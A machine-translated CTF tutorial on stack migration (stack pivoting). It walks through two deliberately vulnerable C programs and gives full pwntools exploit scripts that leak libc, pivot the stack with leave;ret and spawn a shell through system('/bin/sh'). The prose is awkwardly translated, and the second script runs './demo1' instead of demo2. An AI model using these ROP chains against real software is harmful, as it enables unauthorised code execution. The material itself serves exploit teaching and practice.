当前位置:网站首页>Things about stack migration

Things about stack migration

2022-07-27 20:51:00 Hetian network security laboratory

One 、 Preface

current CTF It is difficult to see stack overflow type problems in large-scale competitions , And even if encountered, it is a combination of multiple utilization methods , Especially, stack migration and other utilization methods are used to achieve the effect of combined boxing , This article aims to pass the principle + The form of examples leads readers to understand the principle of stack migration step by step and in ctf Application in .

Two 、 Pre knowledge

In my opinion, the principle of stack migration can be summarized in one sentence : Because the stack overflow bytes are too few, hijacking rsp The register points to the attacker and is arranged in advance payload Memory address of , The purpose of expanding the number of overflow bytes has been achieved .​ With a simple demo1 For example , The program source code and compilation instructions are as follows :

#include <stdio.h>char buf1[0x100];
​
void main() {
    char buf2[0x40];
    puts("First: ");
    read(0, buf1, 0x100);
    puts("Second: ");
    read(0, buf2, 0x60);
​
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c

 

The flow of the program is very simple. There are two outputs , The first is to global variables buf1 The second is to local variables buf2 writes . You can see that there is an obvious stack overflow vulnerability in the second write , But the number of bytes overflowed is only enough to write 0x18 Bytes of size , If you want to construct gadget Leak memory address , Shortest ROP Chains also need 0x20 Bytes can return to the input point to continue executing the program after leaking memory .

image-20220726104834218.png

In this case, stack migration can be used to expand the size of overflow bytes , As I said before, the essence of stack migration is hijacking rsp The register points to the attacker and is arranged in advance payload Memory address of , And hijacking rsp There are many register instructions , The most commonly used is the function return instruction leave; ret.​ This instruction can be understood in two parts . The first thing to execute is leave Instructions , This instruction performs two operations mov rsp, rbp and pop rbp, among rsp The direction change of the register is shown in the following figure , You can see at the end of execution leave After the instruction rsp The register points to the return address ; And then it will be executed ret Instructions , This instruction can be understood as pop rip. Because at this time rsp Register points to rbp+8 The return address of the function , therefore pop to rip The register is the return address of the function , Stack withdrawal completed .

image-20220726110625946.png

After understanding this instruction, it is not difficult to find , If the overflow vulnerability is exploited, it can cover rbp The value of is a known address , Then it was executed twice leave; ret After the instruction , You can hijack rsp Register to any address , here rsp The address pointed to by the register is the new stack address , Just arrange what you want to do at the new address in advance rop gadget, Then the problem of too few overflow bytes is solved .

image-20220726115139278.png

According to the stack migration principle introduced above , You can summarize some necessary conditions for using stack migration

  1. There are things that can hijack program flow and control rbp Register vulnerability

  2. An attacker can determine the exact address of a block with read-write permission

  3. Before stack migration, you need to do it on this address rop gadget Layout

【---- Help network security learn , All the following learning materials are free ! Add vx:yj009991, remarks “ Blog Garden ” obtain !】

 ① Thinking map of the growth path of Network Security Learning
 ② 60+ Network security classic common toolkit
 ③ 100+SRC Vulnerability analysis report
 ④ 150+ Network security attack and defense technology ebook
 ⑤ The most authoritative CISSP Certification test guide + Question bank
 ⑥ super 1800 page CTF Practical skills manual
 ⑦ A collection of the latest interview questions from Wangan factory ( With answers )
 ⑧ APP Client security detection guide ( Android +IOS)

3、 ... and 、 Example explanation

3.1 Example demo1

After understanding the principle of stack migration, you can use this demo Let's practice , It is not opened when compiling Canary and PIE Protect ,NX Protect on to prevent writing shellcode

image-20220726150444213.png

Here we first summarize the general idea of utilization , The implementation details will be described below .

  • Did not open PIE Protect , It can be determined that the address written for the first time is recorded as addr1, Arrange at this address rop gadget To achieve leakage LIBC Address And return the main function

  • Use the stack overflow vulnerability existing in the second write to cover rbp by addr1,rip For instructions leave; ret Stack migration is realized by the address of

  • After returning the main function, use ret2libc perform system("/bin/sh") obtain shell

3.1.1 Stack migration layout

First, we use the first input to rop chain Layout , And use the second stack overflow vulnerability to cover rbp Hijacking for pseudo stack address rip by leave; ret Instruction address , The memory changes are shown in the following figure .​ Careful students will find out , We are doing it for the first time rop chain There is a short paragraph before the layout padding Fill in front , This is because after we migrate the stack , All operations on the stack in the program instructions will be carried out in the pseudo stack , The pseudo stack address is the same as got Table addresses are adjacent , Fill in this paragraph padding The purpose of is to avoid the key information in the memory data segment being overwritten when the program reads and writes data to the pseudo stack , As a result crash The phenomenon .

image-20220726204247032.png

In assembly, when we want to operate on local variables , It's usually used rbp Stack bottom register to locate , As shown in the figure below . This allows us to construct a utilization structure similar to a linked list in stack migration , Each time rop chain Time and again rbp The register is assigned a pseudo stack address , Then jump to the write function of the main function , Because local variable addressing is through rbp register , So we can continue rop chain Layout .​ For the first time rop chain Control in the layout of rbp The register points to the new pseudo stack address , Then execute after returning the main function read Function time , The write address is the new pseudo stack address , At this time, just use the stack overflow vulnerability to construct ret2libc that will do getshell.

image-20220726211402916.png

3.1.2 EXP

from pwn import *
​
p = process('./demo1')
libc = ELF('./demo1').libc
​
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
​
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
​
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
​
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()

 

3.2 Example demo2

stay CTF There is usually only one chance to write in the game , This side gives demo2 Source code and compilation commands .

# include <stdio.h>
# include <string.h>
void main() {
    char buf[0x28];
    puts("Hello Hacker.");
    
    read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c

 

And demo1 equally demo2 Did not open Canary  And PIE Protect , The difference is demo2 There is only one input opportunity , And the overflow bytes can only cover the return address .​ Combined with the stack migration skills explained before , First, hijacking rsp It needs to be done before rop chain Layout , There is no chance for a program to layout on pseudo stack , However, this condition can be constructed by hijacking the program flow .​ The assembly code of the observer is shown in the figure below , For local variables buf When addressing rbp register , Then we can take advantage of this to cooperate with the stack overflow vulnerability to realize the... On the pseudo stack rop Layout . Use the following ideas , The implementation details will be described below .

  1. Hijack using stack overflow vulnerability rbp Register is pseudo stack address , The return address is 0x40054b( The input function of the main program in the figure ), After returning to the main program, the pseudo stack can be rop chain Layout

  2. The pseudo stack rop chain Layout , Let the cat out of the LIBC Address and return the main function

  3. After returning the main function, use the stack overflow vulnerability to cooperate Stack migration +ret2libc complete getshell

image-20220726221209703.png

3.2.1 Pseudo stack rop Layout

for the first time leave; ret It is executed when the main function exits the stack , Use stack overflow vulnerability to cover rbp Is the pseudo stack address ,rsp Main function address . When we come to the input function of the main function again, we can arrange it on the pseudo stack rop chain. The memory changes at this time are shown in the following figure

image-20220726224554713.png

The second time leave; ret The instruction is still executed when the main function returns to the stack , Arrange it on the pseudo stack rop chain The post program performs the stack withdrawing operation , here rbp Save in register fack_stack-0x30 My address is rop chain Address +0x8 Location ,rsp Registers are hijacked on the pseudo stack , The memory changes at this time are shown in the following figure

image-20220726225131346.png

Why is this fake_stack-0x30 What's the address? ? Because for local variables buf When addressing, use rbp register , And in this question buf The address is from [rbp-0x30] The address of , So if you want to rsp Hijack to rop chain The location of , You need to be right about rbp The register is assigned to fakc_stack-0x30, Then in the third time leave When ,rsp Registers are hijacked to rop chain The address of , The memory changes at this time are shown in the following figure

image-20220726234500873.png

image-20220726225629456.png

Leak out LIBC After the address , Hijack the program flow and return to the main function , utilize read Function on the pseudo stack for the last time rop Layout , Note that the write address at this time is fake_stack-0x30, So when the stack is moved rbp The value of the register is fake_stack-0x30-0x30-0x8 The address of , Execute it again leave; ret When rsp Register hijacked to ret2libc rop address . The memory changes are shown in the following figure

image-20220726233002327.png

3.2.2 EXP

from pwn import *
context.log_level = 'debug'
​
p = process('./demo1')
libc = ELF('./demo1').libc
​
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
​
# gdb.attach(p, 'b *0x400567')
​
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
​
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
​
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
​
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()

More range experiments 、 Network security learning materials , Please click here >>

 

原网站

版权声明
本文为[Hetian network security laboratory]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/208/202207271803260212.html